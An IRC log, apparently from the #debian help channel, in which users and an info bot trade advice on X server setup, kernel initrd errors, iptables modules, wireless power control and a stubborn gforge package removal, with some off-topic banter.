| 16:40.46 | kl12 | dabaR oh ok thankyou |
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| 16:40.48 | saposapo | do anybody here already install nou-rau and can help me? |
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| 16:40.56 | dabaR | kl12: change x11 forwarding to yes, restart the server /etc/init.d/sshd restart, I think |
| 16:41.07 | dabaR | welcome |
| 16:41.19 | kl12 | ok :) |
| 16:41.40 | jetx | hey setting disable ssh via dpkg-reconfigure ssh (or whatever the correct command is) does NOT touch/create /etc/ssh/sshd_not_to_be_run |
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| 16:42.35 | dabaR | jetx should use info. |
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| 16:42.43 | jetx | 11.42.24 dpkg Package 'nou-rau' does not exist. |
| 16:42.50 | dabaR | ya |
| 16:42.50 | boucman | quit |
| 16:43.09 | saposapo | jetx, can u help me, with nou rau? |
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| 16:43.28 | jetx | saposapo: i have no idea wtf it is, much less how to install it :( |
| 16:43.37 | saposapo | k |
| 16:43.41 | jetx | 11.42.24 dpkg Package 'nourau' does not exist. |
| 16:43.44 | jetx | oops |
| 16:43.44 | saposapo | do anybody here already install nou-rau and can help me? |
| 16:43.47 | saposapo | yes |
| 16:44.12 | jetx | try #nou-rau or something |
| 16:44.14 | indole | oKtosiTe_: It works, but the monitor is complaining now that the "Input signal is out of range". Google suggests that the synch rate is too high, but how do I correct this? |
| 16:44.26 | saposapo | i tryed |
| 16:44.31 | jetx | indole: did you do hwinfo --monitor? |
| 16:44.43 | stew | saposapo: what is non-rau? |
| 16:44.48 | dabaR | http://www.rau-tu.unicamp.br/nou-rau/index-en.html |
| 16:44.54 | jetx | you note the values, then dpkg-reconfigure xserver-whatever |
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| 16:45.01 | jetx | at least for crt's it functions |
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| 16:45.37 | indole | jetx: I did so, and selected settings that should be alright. |
| 16:45.52 | jetx | saposapo: that's a 'good luck' item |
| 16:45.59 | jetx | indole: no idea then. |
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| 16:46.02 | indole | Is there a way of finding what settings it is using right now? |
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| 16:46.37 | jak | humm... im still trying to turn off my wireless device on my ibm x40 for saving power... anybody knows a way for doing this? THX |
| 16:46.40 | jetx | grep the XF86Config-4 should tell you what it got set at, but that's not exactly what you asked |
| 16:46.44 | corfe | I haven't seen any new packages in unstable in a few days. Anyone know what's going on? |
| 16:46.54 | jetx | yes anyone does know |
| 16:47.04 | jetx | it's called borked ftp master or something |
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| 16:47.18 | corfe | heh fair enough |
| 16:47.24 | corfe | thanks |
| 16:47.44 | jetx | (they discussed it 30 minutes ago, said it may function today) |
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| 16:47.57 | PerfDave | jak: Did you look at iwpriv? |
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| 16:48.31 | kl12 | hi, is windowmaker on apt-get install? |
| 16:48.48 | jak | PerfDave: yes, ive read the whole manual... |
| 16:48.49 | stew | jak: is there a fn-f? key combination that might do it? have you tried iwconfig eth1 power off ? |
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| 16:49.03 | jak | PerfDave: but nothing seems to turn off the device... |
| 16:49.20 | indole | jetx: It's showing a range of synch rates, but not which one was actually picked. |
| 16:49.26 | jak | stew: no, thx... im trying... |
| 16:49.27 | saposapo | jeffx, nou rau is one program seems one library |
| 16:49.36 | indole | Can one manually adjust synch rate in a modeline? |
| 16:49.42 | jetx | !info wmmaker |
| 16:49.43 | stew | jak: which card does that have? the cisco or the intel one? |
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| 16:49.57 | jetx | !info wmaker |
| 16:49.59 | saposapo | i think is brazilian program so u dont know, but no problem ant thanks |
| 16:50.02 | jak | stew: atheros |
| 16:50.04 | dpkg | wmaker: (NeXTSTEP-like window manager for X), section x11, is optional. Version: 0.91.0-7.2 (sid), Packaged size: 2222 kB, Installed size: 6068 kB |
| 16:50.23 | stew | jak: oh, wierd, didn't know that ibm shipped those, or was it aftermarket? |
| 16:50.39 | jak | stew: nope, normal "plain" x40... |
| 16:50.51 | PerfDave | jak: Does that driver have power control support in Linux? |
| 16:50.58 | jetx | saposapo: you 'may' have more luck in #debian-br then... if you speak portuguese |
| 16:51.16 | jak | PerfDave: dunno... im using madwifi and sometimes ndiswrapper, cause madwifi suxx plenny... |
| 16:51.54 | dddss | what is madwifi? |
| 16:52.28 | jetx | !tell dddss about madwifi |
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| 16:53.11 | PerfDave | jak: Ah, ndiswrapper stuff tends to have minimal support. |
| 16:53.35 | PerfDave | jak: That's why you should use hardware which is natively supported by Linux :) |
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| 16:55.16 | jak | PerfDave: ok, i have choosen the notebook, but i havent choosen atheros :( |
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| 16:55.38 | jak | PerfDave: btw: madwifi seems to work... SOMETIMES... |
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| 16:55.54 | igge | how can I find out which graphics card I have? |
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| 16:56.01 | jak | igge: lspci |
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| 16:56.19 | jak | igge: or lspci | grep VGA |
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| 16:56.26 | Whisky_ | any idea how to get a US Robotics 56k Faxt Ext *USB* modem working on Debian ? |
| 16:56.29 | igge | jak: and if it says: VGA compatible controller: ATI Technologies Inc: Unknown device 5b60 |
| 16:56.40 | jak | igge: good question :) |
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| 16:56.52 | jetx | Whisky_: try the 3com site, and/or linuxmodems.org |
| 16:56.53 | igge | damn.. :) |
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| 16:57.04 | Whisky_ | jetx, ooooo k. |
| 16:57.07 | jak | igge: simply try the ati driver |
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| 16:57.21 | igge | jak: doesn't work.. :( |
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| 16:57.42 | jetx | isn't there another ati dirver? |
| 16:57.53 | stew | radeon |
| 16:58.03 | igge | aha |
| 16:58.06 | Bac9 | is there a channel for hylafax? or where can I get help on hylafax not picking up the phone when a fax comes through? |
| 16:58.08 | igge | this sounds interesting |
| 16:58.16 | test1 | I apt-get'ed kernel 2.6.8-2-686 on my Debian Sarge machine, but when rebooting I get this error message -> modprobe: FATAL: Could not load /lib/modules/2.6.8-2-686/modules.dep: No such file or directory... Anyone knows what to do? |
| 16:58.29 | jetx | !initrd |
| 16:58.29 | dpkg | somebody said initrd was initial root disk. initial RAM disk, or god's way of punishing you for using a prebuilt kernel image, or ...And you WILL HAVE TO INCLUDE AN INITRD STATEMENT IN YOUR BOOTLOADER (hint, hint). Typically if you can't find your root filesystem, this is your problem. or a great system for those who understand modulesneed/want root in lvm and/or md raid. http://everything2.com/index.pl?node_id=1476230 |
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| 16:58.46 | lehel | hello |
| 16:58.47 | igge | I have a framebuffer device that I think is working... |
| 16:58.54 | fantomas | lehel: ehlo |
| 16:59.02 | lehel | zzz.. u get crazy.. : dpkg: error processing gforge-db-postgresql (--remove): |
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| 16:59.08 | jetx | test1: you upgraded from the installer's kernel? |
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| 16:59.21 | lehel | dpkg: error processing gforge-ldap-openldap (--remove): |
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| 16:59.32 | lehel | E: Sub-process /usr/bin/dpkg returned an error code (1) |
| 16:59.39 | test1 | jetx: hmm, how do you mean? |
| 16:59.42 | jetx | it should just work if so |
| 16:59.46 | lehel | why i can't remove them?? |
| 16:59.51 | jetx | i mean what kernel were you running before |
| 16:59.56 | lehel | nor dselect, nor apt-get, nor aptitude |
| 17:00.05 | test1 | jetx: I ran an compiled kernel 2.4 before |
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| 17:00.35 | test1 | jetx: Compiled from kernel.org sources I mean |
| 17:00.46 | lehel | from 790 nobody knows, or you just don't wanna say |
| 17:00.52 | jetx | test1: did it use initrd? (mine don't) so 'probably', you need to add the initrd line in the bootloader's .conf and rerun lilo or do the grub thing |
| 17:01.14 | szzs | hi, i my loop devices are missing (/dev/loop1 /dev/loop2), how can i bring them back? |
| 17:01.28 | jetx | szzs: modprobe loop (iirc) |
| 17:01.32 | takatumi | igge: install pciutils and run update-pciids, this will get your lspci a little more meaningful. |
| 17:01.39 | test1 | jetx: Nope, the previous didn't use initrd.. So I installed mkinitrd and ran "mkinitrd -o /initrd.img" and then modified the lilo.conf |
| 17:02.01 | takatumi | hmm, stuck in scroll back. |
| 17:02.04 | test1 | jetx: Before I installed kernel 2.6 from apt that is |
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| 17:02.38 | jetx | test1: debian.debs put the real initrd in /boot, and symlink to it ( /initrd.img ) |
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| 17:02.44 | Whisky_ | jetx, linuxmodems.org isnt working :/ |
| 17:02.51 | Whisky_ | linmodems is |
| 17:02.51 | Lafy_ | is there a way to filter all traffic that comes in on ports 110 and 25 that doesn't come from a specific ip? |
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| 17:02.53 | jetx | Whisky_: keep trying? |
| 17:02.59 | jetx | ah ok try there |
| 17:02.59 | szzs | jetx thanks, it worked. did i accidently unload those modules? :) |
| 17:03.01 | igge | takatumi: ok |
| 17:03.09 | ryushe | can someone tell me if the current netinst cd will allow installation on a machine with 1 SATA disk, and 1 ide cdrom drive on the second channel? The one I have now refuses to see the cdrtom after detecting hardware... |
| 17:03.30 | jetx | szzs: i think you need to actually load them. but they won't be loaded on reboot unless it's in /etc/modules |
| 17:03.35 | lehel | hm |
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| 17:04.07 | dak | Lafy_ iptables |
| 17:04.12 | igge | takatumi: alright! got it.. :) |
| 17:04.20 | test1 | jetx: ah I see now... hmm, gonna try to fix that symlink by hand... I seem to have overwritten it (I guess) |
| 17:04.38 | jetx | test1: you can reference the initrd directly in lilo.conf ... /boot/initrd.blah......... |
| 17:04.45 | jetx | remember to rerun lilo |
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| 17:05.07 | test1 | jetx: Yes that's a fact. Thanks, hope it'll work :) |
| 17:05.24 | jetx | test1: doing that might not make for an easy installation of yet another kernel image though |
| 17:05.53 | jetx | when you install the .debs it does the symlinks for you. just remember. |
| 17:06.03 | jem77 | I would like to sync my /etc/aliases file via NIS. Do I have to do anything special to have the mail.aliases map built? It doesn't appear to be working. |
| 17:06.16 | test1 | jetx: Yea, thought so too... I just made an symlink instead, testing now |
| 17:06.39 | Deb_En | how can i get sarge to see my USR external modem? |
| 17:06.43 | jetx | ln -sn boot/initrd.blah /initrd.img is how i do it |
| 17:06.54 | jetx | Deb_En: deja vu |
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| 17:07.11 | Lafy_ | how do i convince iptables to filter packets on 25 and 110 that aren't coming from a certain ip? |
| 17:07.18 | jetx | Deb_En: you and Whisky_ need to get together on that one |
| 17:07.30 | Deb_En | thx |
| 17:07.34 | dak | read the iptables howto |
| 17:07.38 | dak | dpkg iptables ?? |
| 17:07.38 | dpkg | extra, extra, read all about it, iptables is the user-space process used to administer iptables kernel parts on top of netfilter, somewhat like ipchains was in 2.2.. NOT a virgin, see ipchains, or ask me about <netfilter docs>, or at http://netfilter.samba.org/.(check it out because iptables (2.4.x) has some security holes) See also: masq, or try #iptables for help |
| 17:08.09 | Deb_En | why do i get permission denied when i am logged in as root? |
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| 17:08.16 | jetx | for... |
| 17:08.37 | Deb_En | for /dev/tty1/ ident |
| 17:08.45 | Vibhuti | assigning device section with no busID to primary device' |
| 17:08.46 | dak | uh |
| 17:08.53 | jetx | win32 knows how to deny root access to files, btw :O |
| 17:08.55 | Vibhuti | thsi is found in XFree86 log |
| 17:09.00 | Vibhuti | when i start snome |
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| 17:09.06 | Vibhuti | what is the problem |
| 17:09.15 | jetx | and it doesn't have to be running (htis has nothing to do with that though) |
| 17:09.18 | Vibhuti | gnome |
| 17:09.41 | dak | its your xwin not gnome |
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| 17:09.52 | test1 | jetx: Weird, got the same error message even though I fixed that symlink |
| 17:09.57 | Vibhuti | how do i work it out |
| 17:10.05 | Vibhuti | i have a 915 motherboard |
| 17:10.06 | dak | config your card the right way |
| 17:10.09 | peter__ | which irc client do you use? |
| 17:10.21 | Vibhuti | does xwin support 915 motherboard |
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| 17:10.30 | dak | i dont know, go look on google |
| 17:10.44 | Whisky_ | errrrrrr. I found a link for my 3com USB modem and that link returns a 404 -_- |
| 17:10.58 | jetx | Vibhuti: i've seen things that may say it doesn't but xorg does (i forget don't have one don't care) |
| 17:11.00 | dak | odds are it does but u gotta have the right modules in your kernel too |
| 17:11.24 | jetx | Whisky_: use the google cache |
| 17:11.38 | Vibhuti | shld i download xorg and compile it in my debain pc |
| 17:11.38 | Whisky_ | ?? :| |
| 17:11.48 | dak | click the cached link whisky |
| 17:11.50 | jetx | Vibhuti: not really |
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| 17:11.54 | dak | right next to the normal link on google |
| 17:11.54 | Vibhuti | then |
| 17:11.58 | Whisky_ | Vibhuti, why not apt-get install xserver-xorg |
| 17:12.01 | jetx | Vibhuti: unless you know it's the way to go. |
| 17:12.07 | dak | xorg is broke in side. |
| 17:12.11 | Vibhuti | ok |
| 17:12.14 | dak | er sid |
| 17:12.17 | Whisky_ | i like xfree86 better |
| 17:12.20 | jetx | Vibhuti: what i mean is make sure what the problem is first |
| 17:12.21 | dak | or was |
| 17:12.27 | dak | its not in the topic no more |
| 17:12.30 | jetx | sidhe |
| 17:12.30 | dak | er yeah it is |
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| 17:12.48 | jetx | i like it. sidhe. |
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| 17:12.52 | Vibhuti | because during initial configuration i selected i810 motherboard |
| 17:13.03 | Vibhuti | as nothing else was available |
| 17:13.09 | yalu | anyone know if openoffice.org 2 packages are available for Sarge? |
| 17:13.10 | Whisky_ | Vibhuti, dpkg-reconfigure xserver-xorg |
| 17:13.14 | dak | goto google vibhuti and type "your videocardname linux howto" |
| 17:13.15 | jetx | Vibhuti: does your xwindows function? |
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| 17:13.31 | jetx | is the only error the bus id one? |
| 17:13.32 | jem77_ | Is NIS the best option for keeping accounts sync'd between several Linux boxes? |
| 17:13.34 | debian_guy | where does the dhcp client dhclient get started? Don't see it in /etc/init.d and also not in /etc/network .. |
| 17:13.49 | Vibhuti | the last line where i see the error is that one |
| 17:13.58 | dak | that one bus error could be alot of stuff like not having the rught card in the conf or not having the right module loaded |
| 17:13.59 | Vibhuti | after that it saya FATAL error |
| 17:14.04 | jetx | ah |
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| 17:14.23 | Vibhuti | fatal server error |
| 17:14.24 | lur | hello |
| 17:14.30 | Vibhuti | no screens found |
| 17:14.42 | dak | Vibhuti /var/log/XFree86.0.log is the error log for xwin, look at it and make sure thats your only problem |
| 17:14.56 | lur | anyone use fiaif as a firewall? |
| 17:15.11 | Vibhuti | yes tthat is what it said when i did give the command startx |
| 17:15.13 | dak | screens mean to tell xwin what resolutions and color depth to use vib |
| 17:15.19 | jetx | the way i remember it, xfree doesn't do 915. i forget though. i saw a guy with the same problem. i found stuff about it via google. <--Vibhuti |
| 17:15.22 | Vibhuti | go to the log file to check error |
| 17:15.39 | ryushe | can someone tell me if the current netinst cd will allow installation on a machine with 1 SATA disk, and 1 ide cdrom drive on the second channel? The one I have now refuses to see the cdrom after detecting hardware... |
| 17:15.49 | jason^ | for a desktop, is it recommended to use stable or a different one? |
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| 17:16.09 | Vibhuti | ok |
| 17:16.16 | lur | how trustworthy is apt-get? |
| 17:16.19 | Vibhuti | first il try xorg |
| 17:16.23 | lehel | E: Unable to correct problems, you have held broken packages. |
| 17:16.26 | PerfDave | lur: Define "trustworthy" |
| 17:16.28 | peter__ | sarge or sid... for a desktop system that's not so important... if you need xorg i would recommend to use sid |
| 17:16.32 | yalu | lur: about 99,99% :p |
| 17:16.33 | Vibhuti | parallely google search |
| 17:16.34 | lur | like, is the stuff I get safe |
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| 17:16.39 | lehel | dunno what to do.. my apt-get get crazy |
| 17:16.39 | dak | apt-get -f install lehel |
| 17:16.42 | jetx | ryushe: examine the fstab. it should work. |
| 17:16.48 | jetx | !fix-unmet |
| 17:16.48 | dpkg | from memory, fix-unmet is run dselect --expert. hit the down arrow once. then hit enter a lot. problem solved. (if the packages are available and/or scripts not borked) |
| 17:17.08 | debian_guy | where does dhclient get started on boot-up? |
| 17:17.08 | lur | yalu: I did a search for firewalls and am installing fiaif |
| 17:17.10 | dak | -f = fix missing should that fix the borkens too jetx ? |
| 17:17.13 | jetx | dselect internals are scientifically proven > * |
| 17:17.16 | lur | is it a good firewall? |
| 17:17.21 | Vibhuti | howeever to install xorg do i have to remove xfree86 |
| 17:17.26 | ryushe | jetx > checking |
| 17:17.28 | jetx | dak: i've seen it not. it might though. |
| 17:17.58 | jetx | but if you have held packages, unhold them. |
| 17:17.59 | Vibhuti | whisky:do i have to remove xfree86 if i have to install xorg |
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| 17:18.10 | ryushe | jetx > fstab doesn't list the cdrom after initial selection of boot method from the installer cd |
| 17:18.15 | lur | or is it a hack that is designed to exploit |
| 17:18.21 | dak | yes Vibhuti |
| 17:18.30 | dak | go read the install howto |
| 17:18.35 | Eclipser | any ideas why my XMMS stops playing from time to time? |
| 17:18.41 | Vibhuti | of xorg |
| 17:18.44 | jetx | ryushe: is this during the install, or after you installed? |
| 17:18.44 | dak | you will get no place if u keep asking help in a irc channel, you gotta read doc's man |
| 17:18.50 | ryushe | during install |
| 17:18.52 | lehel | dak: it's not working... have look ppl: http://pastebin.ca/18640 |
| 17:18.56 | Eclipser | (I'm playing from CD because I didn't have space to put the music on my HD :) |
| 17:19.00 | Vibhuti | ok wiill do it |
| 17:19.11 | ryushe | jetx > I just popped in the netinst cd, and booted from it with the linux26 option |
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| 17:19.53 | ryushe | jetx > as soon as I am past the 'select language' the cdrom drive is lost |
| 17:19.53 | lehel | apt-get get crazy: http://pastebin.ca/18640 ... pls give me a solution |
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| 17:20.04 | dak | lehel have u run "apt-get update" |
| 17:20.07 | dak | ? |
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| 17:20.22 | wdh | can anyone here tell me how i could block specific users from logging in remotely over ssh while allowing others? |
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| 17:20.32 | jetx | ryushe: no idea then. typing 'mount' doesn't show it eh? hey, try to mount it manually. (and sometimes the installer has to load modules for cdroms, but i forget) |
| 17:20.37 | lehel | dak yes |
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| 17:21.26 | dak | u gotta remove more then the 1 package, because other depend on it |
| 17:21.31 | goccia | wdh: /etc/sshusers-allowed |
| 17:21.31 | jetx | ryushe: also, i have better luck with expert26 btw |
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| 17:21.38 | debian_guy | where does dhclient get started on boot-up? |
| 17:21.42 | deepak | hi |
| 17:22.04 | lehel | dak: i cannot remove any gforge package.. nor to install |
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| 17:22.19 | honschu | debian_guy: in interfaces |
| 17:22.23 | deepak | can any one tell me how can i install DB@ database server in Debian , |
| 17:22.23 | Unified | can i use a 686 kernel image for a pentium m? or should i compile my own? |
| 17:22.24 | deepak | can any one tell me how can i install DB@ database server in Debian , |
| 17:22.25 | deepak | can any one tell me how can i install DB@ database server in Debian , |
| 17:22.26 | deepak | can any one tell me how can i install DB@ database server in Debian , |
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| 17:22.35 | lehel | woow |
| 17:22.37 | debian_guy | it's not in /etc/network/interfaces |
| 17:22.50 | ryushe | jetx > trying that one then |
| 17:22.58 | honschu | ? no ? auto eth0 |
| 17:23.05 | honschu | ? no ? iface eth0 inet dhcp |
| 17:23.08 | debian_guy | yes |
| 17:23.09 | Lee__ | Unified: you can use it. |
| 17:23.12 | Vibhuti | s |
| 17:23.14 | debian_guy | but does that call dhclient? |
| 17:23.24 | honschu | a script parses this file |
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| 17:23.39 | Mardus | Hi. |
| 17:23.40 | debian_guy | hmm, where is that script? |
| 17:23.50 | jetx | !netcardconfig |
| 17:23.50 | dpkg | http://drbl.nchc.org.tw/debian/download/script/netcardconfig |
| 17:23.51 | honschu | good question |
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| 17:23.59 | deepak | hi |
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| 17:24.25 | lehel | apt-get help: http://pastebin.ca/18640 |
| 17:24.27 | deepak | can any one tell me how can i install DB2 IBM databse in Debian |
| 17:24.28 | Anders | deepak, fuck off |
| 17:24.30 | debian_guy | ./etc/init.d/networking parses some files in /etc/network |
| 17:24.36 | debian_guy | but not the interfaces file |
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| 17:24.38 | deepak | o come and fuck me |
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| 17:24.58 | dak | deepak "apt-cache search" |
| 17:24.59 | deepak | kelehel waht help . |
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| 17:25.02 | peter__ | i need help for compiling a software called smtprc -> http://sourceforge.net/projects/smtprc |
| 17:25.12 | dak | for most packages, but ibm u gotta get them from them, GOOGLE |
| 17:25.14 | honschu | debian_guy: Just grep for this file and you will find the script ;) |
| 17:25.19 | russ0r | Anyone know how/if I can force the Debian installer to 'Preload essential modules' from a CD as opposed to a floppy? /msg thanks. |
| 17:25.29 | dak | google is the friggin key to most of the questions asked in life |
| 17:25.34 | peter__ | it compiles cleanly with gcc 2.95, gcc 3.3.5, gcc 3.4.4... but i always get a segmentation fault |
| 17:25.34 | dak | dont chat me deepak |
| 17:25.34 | jetx | lehel: if it was me, i'd touch the file referenced by cp: cannot stat `/etc/postgresql/pg_hba.conf': No such file or directory |
| 17:25.35 | waltermh | i am trying to set up proftpd and i have a config file set up that tests ok with proftpd -t option, i start proftpd with proftpd -c configfile, and it says its masquerading as my correct ip, and i have passiveports set and open on firewall |
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| 17:25.44 | deepak | ok |
| 17:25.53 | jetx | aka touch /etc/postgresql/pg_hba.conf |
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| 17:25.59 | waltermh | yet i still get an error about incorrect login, can anybody look at my config file to see what i am missing? |
| 17:26.03 | deepak_ | <PROTECTED> |
| 17:26.09 | lehel | ok jetx |
| 17:26.25 | Lafy_ | iptables just asked me if i need to insmod... what does this mean? |
| 17:26.39 | dak | some one didnt read the docs :/ |
| 17:26.45 | jetx | lehel: i think i mistakenly installed gforge also... iirc it was a big mistake... :/ |
| 17:26.49 | debian_guy | Lafy_, you need additional kernel modules |
| 17:26.52 | debian_guy | for iptables |
| 17:26.55 | Lafy_ | hmm... |
| 17:26.55 | jetx | s/also/once\ also/ |
| 17:26.58 | deepak | actully i just ant to kow that i have done this apt-get install libdb-utils and libdb |
| 17:27.04 | honschu | debian_guy: do you found it? |
| 17:27.07 | Lafy_ | is there a quick and dirty way to do that? |
| 17:27.11 | deepak | is it a IBM dadabe |
| 17:27.17 | debian_guy | honschu, I grepped in /etc/init.d but nothing |
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| 17:27.21 | deepak | is it a IBM database |
| 17:27.23 | Mardus | Hi. |
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| 17:27.30 | deepak | actully i just ant to kow that i have done this apt-get install libdb-utils and libdb |
| 17:27.35 | deepak | is it a IBM database |
| 17:27.37 | dak | no one wants to help u because this is #debian not #ibm |
| 17:27.39 | lehel | jetx: head: cannot open `/var/lib/postgres/data/postmaster.pid' for reading: No such file or directory .. touch this too? |
| 17:27.40 | jetx | lehel: when you get desperate, man dpkg --force-help |
| 17:27.44 | debian_guy | Lafy_, do modprobe <module-name> , first check with lsmod if the modules are present |
| 17:27.49 | debian_guy | ehm |
| 17:27.49 | dak | go install aix |
| 17:27.52 | Mardus | I need something like fdisk on a diskette to try to recognise if there's a file system (and which one it is) on some hard drive I found. |
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| 17:28.07 | deepak | actully i just ant to kow that i have done this apt-get install libdb-utils and libdb is it IBM database ???? |
| 17:28.10 | deepak | actully i just ant to kow that i have done this apt-get install libdb-utils and libdb is it IBM database ???? |
| 17:28.11 | Lafy_ | debian_guy: which module-name am i after for iptables? |
| 17:28.17 | debian_guy | Lafy_, first check if the modules are there in /lib/modules/<kernel number>/kernel/net/.. |
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| 17:28.22 | Mardus | I also have instructions handy, on how to write disk images from Debian. I need a location for fdisk or a like tool for Linux. |
| 17:28.29 | jetx | lehel: if it cries, give it what it's crying for, is the idea. but hey if anything breaks you keep all the pieces, i don't want any :/ |
| 17:28.36 | dak | deepak "apt-cache show packagename" |
| 17:28.40 | dak | TELLS U ALL ABOUT IT |
| 17:28.52 | jetx | Mardus: try fdisk |
| 17:28.54 | jetx | !info fdisk |
| 17:28.55 | debian_guy | Lafy_, what it says in the iptables script |
| 17:29.01 | tucoz | I am installing debian, and in the base system configuration I have installed the packages but I configured the X-server wrong. How can I redo that step? |
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| 17:29.05 | peter__ | is there anybody who wants to make a package of "smtprc"? |
| 17:29.06 | jetx | it's there |
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| 17:29.33 | Lafy_ | it asked for filter, so does that mean i'm looking for filter.o? |
| 17:29.33 | jetx | !drxx tucoz |
| 17:29.34 | dpkg | tucoz: dpkg-reconfigure xserver-xfree86 [or xserver-xorg if you're using X.org] (as root) || if you have edited the X config file by hand,used some other program like xf86config, ask me about <xmd5> |
| 17:29.52 | tucoz | thanks. |
| 17:29.55 | debian_guy | Lafy_, /sbin/modprobe iptable_filter |
| 17:30.09 | Vladi | hi, is there a tool that can recover deleted files on a reiserfs partition? |
| 17:30.16 | Lafy_ | it says it can't locate it |
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| 17:30.48 | dak | this place will make you go grey |
| 17:30.50 | jetx | Lafy_: use modconf |
| 17:30.59 | jetx | apt-get install it if you need to |
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| 17:31.10 | Mardus | jetx: I actually need a location in debian.org or a mirror to get a bootable diskette image, to download it and then have it on a diskette. |
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| 17:31.36 | jetx | Mardus: smart boot manager ? |
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| 17:31.42 | Lafy | i hate wireless |
| 17:31.50 | csdgp | Vladi: http://www.linuxquestions.org/questions/answers.php?action=viewarticle&artid=197 |
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| 17:31.59 | csdgp | there's no easy way, excep backups |
| 17:32.02 | Mardus | jetx: No, rather something in the fashion of system boots from disk, shows fdisk, scans for file systems, shows these. Basically that. |
| 17:32.04 | tucoz | Is it also possible to probe the video-card using dpk-reconfigure? I have no idea what the video-bus is |
| 17:32.10 | dak | i was going to ask a question but i dont think no one knows it maybe jext |
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| 17:32.12 | jetx | <PROTECTED> |
| 17:32.17 | Vladi | jetx: thx |
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| 17:32.20 | dak | jetx you know how to do wpa setup with iwconfig ? |
| 17:32.26 | dak | iv looked all over |
| 17:32.35 | mikson | whats the command to run alsa config i tried alsaconfig alsasetup alsa-config |
| 17:32.37 | Mardus | jetx: Not a boot CD! I don't have anything to burn with. |
| 17:32.38 | Lafy | how do i go about getting iptables modules if they aren't installed? |
| 17:32.39 | jetx | no i've never done linux wireless |
| 17:32.45 | dak | using wpa_supplicant atm but its using ndiswrapper |
| 17:32.47 | dak | k |
| 17:32.50 | jetx | Mardus: the last one is a floppy |
| 17:33.14 | Mardus | jetx: Oh well, it's easy to misunderstand disk/diskette. |
| 17:33.19 | debian_guy | Lafy, modify your kernel |
| 17:33.32 | debian_guy | although I think standard debian kernels have them turned on |
| 17:34.04 | Lafy | not the one i got... |
| 17:34.32 | jetx | Lafy: the modules are there. but you have to load them. |
| 17:34.38 | jetx | Lafy: modconf |
| 17:34.42 | Lafy | they are not there |
| 17:34.43 | jetx | use it |
| 17:34.59 | lehel | jetx: even dpkg -r --force-depends gforge-ldap-openldap ...not working |
| 17:35.00 | jetx | then it must not be a debian kernel-image |
| 17:35.22 | berzerka | Lafy ypu need ip_tables and iptables_filter at least |
| 17:35.35 | lehel | this package suxxx.. grrr |
| 17:35.40 | berzerka | iptable_filter, sorry |
| 17:35.43 | jetx | lehel: iirc i just did --force-all. i remember i had to get creative as hell, but i believe i finally got the little forgebugger out |
| 17:35.47 | lehel | never wanna gforge.. i don't know even whatfor is |
| 17:35.48 | Lafy | where are the modules stored? |
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| 17:36.00 | resiak | Lafy: /lib/modules/ |
| 17:36.06 | jetx | /lib/modules/blah/blahblah |
| 17:36.07 | dak | <PROTECTED> |
| 17:36.19 | Schiz0 | what does +x on a dir mean/ |
| 17:36.22 | Lafy | the kernel is 2.2.20-idepci |
| 17:36.29 | resiak | !real kernel |
| 17:36.29 | debian_guy | execute |
| 17:36.29 | dpkg | methinks real kernel is The Debian install kernels are meant for just that: installing. If you want things like wide module support and netfilter, install a proper kernel. 'apt-get install kernel-image-2.4.18-1-386' will see you through, if you have no idea. First though, do apt-cache search kernel-image- . Woody install kernels have several known vulnerabilities, including local roots & remote DoSes |
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| 17:36.41 | resiak | Lafy: Are you on Sarge? |
| 17:36.42 | jetx | it means you can actually do down into the directory (Xecutable) |
| 17:36.44 | Schiz0 | debian_guy- on a dir? i thought it was just files |
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| 17:36.48 | Schiz0 | ah |
| 17:36.50 | Schiz0 | ok |
| 17:36.56 | jetx | no x, cd <dir> no workie |
| 17:36.59 | debian_guy | x on dir means cd |
| 17:37.04 | Schiz0 | okey dokey |
| 17:37.08 | Schiz0 | wiat, then whats the d mean? |
| 17:37.11 | Lafy | i dont really know... i setup this box a year or so ago and have tried to mess with it as little as possible |
| 17:37.19 | jetx | d or b |
| 17:37.20 | debian_guy | to specify that it is a dir |
| 17:37.23 | debian_guy | f == file |
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| 17:37.25 | debian_guy | l link |
| 17:37.25 | jetx | ah |
| 17:37.26 | debian_guy | etc |
| 17:37.34 | Schiz0 | hm.. |
| 17:37.35 | Schiz0 | okey dokey |
| 17:37.35 | Schiz0 | thanks |
| 17:37.35 | resiak | Lafy: You need to get a real kernel, as dpkg said. You might also want to consider upgrading to Sarge. |
| 17:37.38 | berzerka | Lafy on my sarge box they are in /lib/modules/2.4.26/kernel/net/ipv4/netfilter |
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| 17:37.47 | resiak | Lafy: cat /etc/debian_version |
| 17:37.55 | dak | hes on woody |
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| 17:38.05 | Lafy | 3.1 |
| 17:38.06 | jetx | btw whoever asked testing makes a better desktop imo(that's IMO) |
| 17:38.15 | resiak | dak: You're sure? He has a Woody kernel, but OH LOOK! HE'S ON SARGE! |
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| 17:38.18 | lehel | jeeeesus .. jetx can u remember any specific commands to get this thing out of..? :( |
| 17:38.19 | berzerka | well they should be there anyway, woody uses 2.4 series kernel too |
| 17:38.28 | resiak | Lafy: apt-get install kernel-image-2.4-386 |
| 17:38.29 | Mardus | I was actually looking for a floppy image that would boot and show stuff like fdisk does or cfdisk does, much the way it did when I was installing Debian. |
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| 17:38.55 | Lafy | this is not going to break my computer, right? |
| 17:39.00 | dak | no |
| 17:39.00 | netbrain | how do i enable native keyboard support in bash? |
| 17:39.07 | dak | it will still turn on :p |
| 17:39.08 | netbrain | <-- norwegian |
| 17:39.09 | resiak | Lafy: $STANDARD_DISCLAIMER |
| 17:39.11 | jetx | lehel: afaicr, i used a lotta --force, and when it was crying for a file/dir it couldn't find, i created it. |
| 17:39.34 | goccia | Mardus: look for tomsrtbt |
| 17:39.45 | jetx | dpkg -P --force-all gforge* |
| 17:39.49 | jetx | or whatever |
| 17:39.59 | stew | yuck |
| 17:39.59 | jetx | i could get killed for typing that |
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| 17:40.11 | csdgp | mardus: anything that you get that is not an installer will require you to execute fdisk from the command line |
| 17:40.15 | Lafy | after this apt-get do i need to do anything special or just reboot? |
| 17:40.16 | stew | !blame resiak |
| 17:40.19 | ^Willie^ | who is using serial consoles (ttyS0/ttyS1) with debian ?? |
| 17:40.24 | debian_guy | honschu, still a mystery where dhclient gets started... You're probably right that it gets triggered in the network/interfaces file |
| 17:40.26 | Lafy | like do i need to re-setup lilo or anything? |
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| 17:40.44 | go3or | how can I check who were logging to ftp thanks |
| 17:40.45 | jetx | Lafy: if it wasn't automagically updated, yes. |
| 17:40.51 | resiak | Lafy: You'll need to add the new kernel to lilo, yes. I'm in favour of suggesting you switch to Grub, but I'm not going to walk you through ti. |
| 17:41.04 | resiak | go3or: Read your FTP server's manual |
